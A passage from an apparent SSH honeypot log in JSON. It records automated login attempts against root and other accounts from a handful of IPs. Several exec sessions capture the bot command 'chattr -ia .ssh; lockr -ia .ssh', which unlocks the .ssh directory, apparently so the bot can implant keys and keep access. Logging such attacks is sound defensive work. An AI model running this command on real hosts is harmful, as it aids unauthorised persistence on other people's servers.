  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:18:30.724214+00:00",
  "ended_at": "2026-08-24T16:18:31.829474+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e98df07-1c3a-4c7e-8a40-c2303b37c899",
  "name": "pewter-vivid-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.164.57.37",
  "src_port": 48508,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:15:46.963911+00:00",
  "ended_at": "2026-08-24T16:15:47.807351+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "42f33278-7c00-483f-83e7-340f43cf39f3",
  "name": "thawing-hazel-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.164.57.37",
  "src_port": 38184,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T16:08:14.800181+00:00",
  "ended_at": "2026-08-24T16:08:15.838434+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aa74805b-6b62-42e2-a195-3c816bfca5c4",
  "name": "brisk-vivid-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "60.199.224.2",
  "src_port": 51136,
  "username": "senthil",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 643,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T05:18:05.457080+00:00",
  "ended_at": "2026-08-24T05:18:05.656938+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3458
 },
 {
  "id": "df5f9103-a694-4400-9abf-906d9053d8c5",
  "name": "western-subtle-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "60.199.224.2",
  "src_port": 51178,
  "username": "senthil",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T05:17:47.545209+00:00",
  "ended_at": "2026-08-24T05:17:47.852406+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "47c7116a-3406-4c43-9bba-6c76ccc4673c",
  "name": "marine-windswept-bunting",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "60.199.224.2",
  "src_port": 51166,
  "username": "senthil",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T05:17:31.551841+00:00",
  "ended_at": "2026-08-24T05:17:33.260042+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c99ac03b-48e6-4e09-b07c-5ca5400fcba9",
  "name": "supple-amber-linnet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "60.199.224.2",
  "src_port": 51150,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T05:17:28.647154+00:00",
  "ended_at": "2026-08-24T05:17:30.226280+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "79f9d38b-c848-49c0-b614-aaad2d379d93",
  "name": "subtle-weathered-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "60.199.224.2",
  "src_port": 51104,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T05:15:00.444259+00:00",
  "ended_at": "2026-08-24T05:15:02.283634+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "163841ea-e19d-4c1f-a2b4-b567219ed2a9",
  "name": "idle-windswept-bullfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "60.199.224.2",
  "src_port": 51094,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T05:12:20.172054+00:00",
  "ended_at": "2026-08-24T05:12:22.234503+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7b489752-f2c3-47b0-bbf9-f178ad09b9dd",
  "name": "scarlet-curious-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "60.199.224.2",
  "src_port": 51076,
  "username": "liu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T05:04:22.229157+00:00",
  "ended_at": "2026-08-24T05:04:23.842186+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ff4b92c2-cab9-4837-b1f0-be48191f942b",
  "name": "granite-wandering-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "5.3.154.197",
  "src_port": 33954,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 409,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T04:39:09.822503+00:00",
  "ended_at": "2026-08-24T04:39:09.946537+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3490
 },
 {
  "id": "4951f942-c319-4f1f-b2ec-3844cbebc938",
  "name": "murky-ancient-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "5.3.154.197",
  "src_port": 38720,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T04:38:54.910651+00:00",
  "ended_at": "2026-08-24T04:38:55.263635+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5a8dd9ba-b5d4-4c4c-8dfb-e09330301fc4",
  "name": "honest-emerald-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "5.3.154.197",
  "src_port": 54160,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T04:38:43.480938+00:00",
  "ended_at": "2026-08-24T04:38:44.620264+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7fbc8805-4fcd-4bc0-923f-2d251ebea2a1",
  "name": "bitter-crystal-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "5.3.154.197",
  "src_port": 33970,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T04:38:40.671376+00:00",
  "ended_at": "2026-08-24T04:38:42.545427+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "29633729-143b-42cd-ad3c-b50951effee9",
  "name": "dappled-grassy-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "5.3.154.197",
  "src_port": 56226,
  "username": "sun",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T04:36:49.143065+00:00",
  "ended_at": "2026-08-24T04:36:49.856582+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0808807e-8e40-44d5-866a-4a09b9669f1e",
  "name": "downy-ivory-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "5.3.154.197",
  "src_port": 45522,
  "username": "u1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T04:33:18.740102+00:00",
  "ended_at": "2026-08-24T04:33:19.793075+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "139edc25-ff78-447f-ad87-3aa1c14591d2",
  "name": "alpine-verdant-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "223.17.1.118",
  "src_port": 47578,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 692,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T03:17:41.660805+00:00",
  "ended_at": "2026-08-24T03:17:41.876558+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 6575
 },
 {
  "id": "7901fba2-8f83-4487-a96b-6a4e8dbb0a45",
  "name": "breezy-autumn-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "223.17.1.118",
  "src_port": 36756,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T03:17:22.649757+00:00",
  "ended_at": "2026-08-24T03:17:23.038030+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cea82f7d-f04c-491b-9003-c15c813c524f",
  "name": "idle-marbled-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "223.17.1.118",
  "src_port": 57810,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T03:17:03.489753+00:00",
  "ended_at": "2026-08-24T03:17:04.765173+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b2a3b34-fa8e-4495-9cef-55f71e0ed00f",
  "name": "deft-ivory-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "223.17.1.118",
  "src_port": 47594,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T03:17:00.641428+00:00",
  "ended_at": "2026-08-24T03:17:02.152211+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d2e163c9-e64d-4c48-92b0-68fdbd8d4c12",
  "name": "restless-genial-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "223.17.1.118",
  "src_port": 57288,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T03:14:29.020159+00:00",
  "ended_at": "2026-08-24T03:14:30.457419+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2331dc8a-3e1b-4795-b2f0-b3b62a51d665",
  "name": "dappled-boreal-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "223.17.1.118",
  "src_port": 41498,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T03:08:50.686159+00:00",
  "ended_at": "2026-08-24T03:08:52.525313+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4de63a5d-4df9-4aff-bcb2-ce12dde2b67a",
  "name": "bashful-crimson-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "190.60.43.27",
  "src_port": 53456,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T00:59:17.188346+00:00",
  "ended_at": "2026-08-24T00:59:17.266471+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3445
 },
 {
  "id": "0cf91e14-0fbf-4693-b728-30b1c26168b6",
  "name": "prickly-forlorn-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "190.60.43.27",
  "src_port": 53542,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T00:59:02.638074+00:00",
  "ended_at": "2026-08-24T00:59:02.884885+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "246e8406-488c-4a06-b471-8a17e2f0f804",
  "name": "nautical-marine-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "190.60.43.27",
  "src_port": 47692,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T00:58:53.446661+00:00",
  "ended_at": "2026-08-24T00:58:54.268736+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fb3c5132-c588-4531-8a6a-8be74610387f",
  "name": "sooty-diligent-tapir",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "190.60.43.27",
  "src_port": 47682,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T00:58:51.873539+00:00",
  "ended_at": "2026-08-24T00:58:52.868435+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "54435f60-3e00-4a7d-8849-f69da5ff6933",
  "name": "steady-pristine-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "190.60.43.27",
  "src_port": 52714,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T00:55:54.680297+00:00",
  "ended_at": "2026-08-24T00:55:56.288481+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b74967cd-4142-4b4a-aca8-b2bd16a440a8",
  "name": "sturdy-mighty-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "190.60.43.27",
  "src_port": 39332,
  "username": "zhouxin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T00:52:38.695023+00:00",
  "ended_at": "2026-08-24T00:52:39.373014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca7cba1b-8799-4b4f-89e4-bcc854927458",
  "name": "brazen-creaky-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.205.57.72",
  "src_port": 58506,
  "username": "ydy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T20:59:27.183189+00:00",
  "ended_at": "2026-08-23T20:59:27.276499+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3598
 },
 {
  "id": "60590f2b-9c02-49db-a952-5b07e4a4cd3e",
  "name": "blunt-frank-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.205.57.72",
  "src_port": 49376,
  "username": "ydy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T20:59:13.307125+00:00",
  "ended_at": "2026-08-23T20:59:13.526303+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3191623d-3de5-46f2-93fe-c46736e863c3",
  "name": "restless-daring-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.205.57.72",
  "src_port": 58516,
  "username": "ydy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T20:59:04.145125+00:00",
  "ended_at": "2026-08-23T20:59:05.439936+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb7b0287-45af-4acd-8cb0-f5456cdc046a",
  "name": "earnest-ruddy-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.205.57.72",
  "src_port": 58512,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T20:59:02.167921+00:00",
  "ended_at": "2026-08-23T20:59:03.509008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4f9ee073-1488-4111-9cbb-38e0d5efc383",
  "name": "gentle-vigilant-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.206.205",
  "src_port": 39924,
  "username": "m1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 306,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T20:57:33.351409+00:00",
  "ended_at": "2026-08-23T20:57:33.437313+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4163
 },
 {
  "id": "36b2a8ba-21f8-4408-9239-63d731e04bf6",
  "name": "bitter-subtle-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.125.206.205",
  "src_port": 43510,
  "username": "m1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T20:57:18.954487+00:00",
  "ended_at": "2026-08-23T20:57:19.194709+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "69d64ec3-ac43-4895-b79f-32b74fd348f1",
  "name": "rugged-sterling-quail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.125.206.205",
  "src_port": 39938,
  "username": "m1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T20:57:07.067400+00:00",
  "ended_at": "2026-08-23T20:57:08.857046+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e32f24cb-9771-4e0e-a287-f4cc6405e749",
  "name": "curious-verdant-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.205.57.72",
  "src_port": 58192,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T20:57:06.477135+00:00",
  "ended_at": "2026-08-23T20:57:07.106326+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4da4733f-b9a1-421c-9da3-bd048775627e",
  "name": "freckled-feral-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.125.206.205",
  "src_port": 39930,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T20:57:04.963079+00:00",
  "ended_at": "2026-08-23T20:57:06.452836+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fb4a8e65-7628-4cb7-83d4-11a5218abf69",
  "name": "primal-grassy-coyote",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.205.57.72",
  "src_port": 52310,
  "username": "deployer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T20:55:05.250102+00:00",
  "ended_at": "2026-08-23T20:55:05.956001+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bd5a153-543a-4a96-9547-915894df9901",
  "name": "feral-vivid-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.125.206.205",
  "src_port": 56580,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T20:54:54.791283+00:00",
  "ended_at": "2026-08-23T20:54:55.570007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "43a5d56d-a121-44ff-8498-8eea4e74aed8",
  "name": "craggy-shaded-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "135.125.206.205",
  "src_port": 44996,
  "username": "dmdba",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T20:48:40.063830+00:00",
  "ended_at": "2026-08-23T20:48:41.485214+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3581ac0e-8127-440c-8662-05d13d07fe04",
  "name": "dewy-sullen-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.205.57.72",
  "src_port": 57590,
  "username": "abd",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T20:48:26.918884+00:00",
  "ended_at": "2026-08-23T20:48:27.554015+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "35cfb8eb-0bf7-4f3c-8e82-7bc92dacb0f0",
  "name": "steady-cheerful-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "87.106.63.76",
  "src_port": 35932,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 273,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T19:03:55.913807+00:00",
  "ended_at": "2026-08-23T19:03:55.985138+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3961
 },
 {
  "id": "355bf0e9-af51-4095-a74b-f337b280b301",
  "name": "rustic-early-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.63.76",
  "src_port": 46046,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T19:03:41.658617+00:00",
  "ended_at": "2026-08-23T19:03:41.827997+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b4a4c94-ea12-40c8-af56-aadb892fe8d5",
  "name": "sooty-cheerful-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.63.76",
  "src_port": 35946,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T19:03:31.958195+00:00",
  "ended_at": "2026-08-23T19:03:32.740520+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "43203509-d7fc-4aa4-b10e-35097447c3ef",
  "name": "prairie-clever-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.63.76",
  "src_port": 35938,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T19:03:29.883097+00:00",
  "ended_at": "2026-08-23T19:03:31.397384+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "83b421d0-6dbe-4423-976a-4719e6a82cc7",
  "name": "coastal-nimble-jackdaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.63.76",
  "src_port": 41282,
  "username": "lisa",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T19:01:09.525134+00:00",
  "ended_at": "2026-08-23T19:01:10.281068+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6eb765e-cc1d-42d5-b90c-6f64db6708e3",
  "name": "peaty-calm-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "87.106.63.76",
  "src_port": 55324,
  "username": "devops",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T18:55:18.165110+00:00",
  "ended_at": "2026-08-23T18:55:19.268313+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "545cffd7-03e3-4536-b36a-0ee8088e6f97",
  "name": "forlorn-foggy-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.216.145.2",
  "src_port": 49688,
  "username": "john",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 618,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-23T18:39:50.081206+00:00",
  "ended_at": "2026-08-23T18:39:50.275426+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3384
 },
 {
  "id": "475f7402-9029-45fe-a592-1f194a4e9e8d",
  "name": "rustic-earnest-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.216.145.2",
  "src_port": 57866,
  "username": "john",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T18:39:28.786125+00:00",
  "ended_at": "2026-08-23T18:39:29.113998+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ef334b04-f69b-4b7e-a309-8b33f5f74eaf",
  "name": "noble-buoyant-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.216.145.2",
  "src_port": 51754,
  "username": "john",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T18:39:13.739086+00:00",
  "ended_at": "2026-08-23T18:39:15.687196+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7654a3ee-953a-42fe-bcfc-dd9aa3a6eebe",
  "name": "noble-bitter-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.216.145.2",
  "src_port": 50608,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
